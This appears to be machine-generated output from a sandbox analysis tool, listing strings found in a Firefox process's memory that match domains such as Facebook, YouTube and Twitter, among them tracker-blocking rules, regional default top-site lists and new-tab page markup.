Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F175A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000021.00000002.3150145794.00000209F175A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000021.00000002.3171699560.00000209F5F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD5DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3053785192.00000209FD5E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3216773750.00000209FD5DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3053785192.00000209FD5E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F177B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: devtools.performance.popup.feature-flagDevToolsStartup.jsm:handleDebuggerFlagGot invalid request to save JSON dataFailed to execute WebChannel callback:JSON Viewer's onSave failed in startPersistenceresource://devtools/shared/security/socket.jsNo callback set for this channel.WebChannel/this._originCheckCallbackdevtools.performance.recording.ui-base-urlDevTools telemetry entry point failed: devtools/client/framework/devtoolsbrowser and that URL. Falling back to resource://devtools/server/devtools-server.jsdevtools-commandkey-profiler-capturedevtools-commandkey-javascript-tracing-toggleUnable to start devtools server on @mozilla.org/dom/slow-script-debug;1@mozilla.org/network/protocol;1?name=defaultdevtools/client/framework/devtools-browser@mozilla.org/network/protocol;1?name=file{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Failed to listen. Callback argument missing.browser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNames@mozilla.org/uriloader/handler-service;1devtools.debugger.remote-websocketdevtools.debugger.features.javascript-tracingFailed to listen. Listener already attached.devtools-commandkey-profiler-start-stop^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$releaseDistinctSystemPrincipalLoaderand deploy previews URLs are allowed.handlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/FileUtils.sys.mjsextractScheme/fixupChangedProtocol<^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?Scheme should be either http or httpsisDownloadsImprovementsAlreadyMigratedget FIXUP_FLAG_FORCE_ALTERNATE_URI^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox.lv/compose?to=%sCan't invoke URIFixup in the content process{c6cf88b7-452e-47eb-bdc9-86e3561648ef}http://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/local-handler-app;1http://win.mail.ru/cgi-bin/sentmsg?mailto=%sget FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUP_injectDefaultProtocolHandlersIfNeededgecko.handlerService.defaultHandlersVersionhttp://www.inbox.lv/rfc2368/?value=%s@mozilla.org/uriloader/web-handler-app;1browser.fixup.domainsuffixwhitelist.@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s^([a-z+.-]+:\/{0,3})*([^\/@]+@).+resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjshttps://poczta.interia.pl/mh/?mailto=%s{33d75835-722f-42c0-89cc-44f328e56a86}extension/bing@search.mozilla.org/extendedData equals www.yahoo.com (Yahoo)
Source: firefox.exe, 00000021.00000002.3155566727.00000209F32AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000021.00000002.3155566727.00000209F32AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3180233244.00000209F69B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212080999.00000209FD17B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD56E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3180233244.00000209F69B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3216773750.00000209FD507000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3212080999.00000209FD17B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3158948654.00000209F39C5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3150145794.00000209F1773000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3198166521.00000209F7A81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3173030335.00000209F6096000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3180233244.00000209F69B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3173030335.00000209F6036000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3231930703.0000262E8FF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
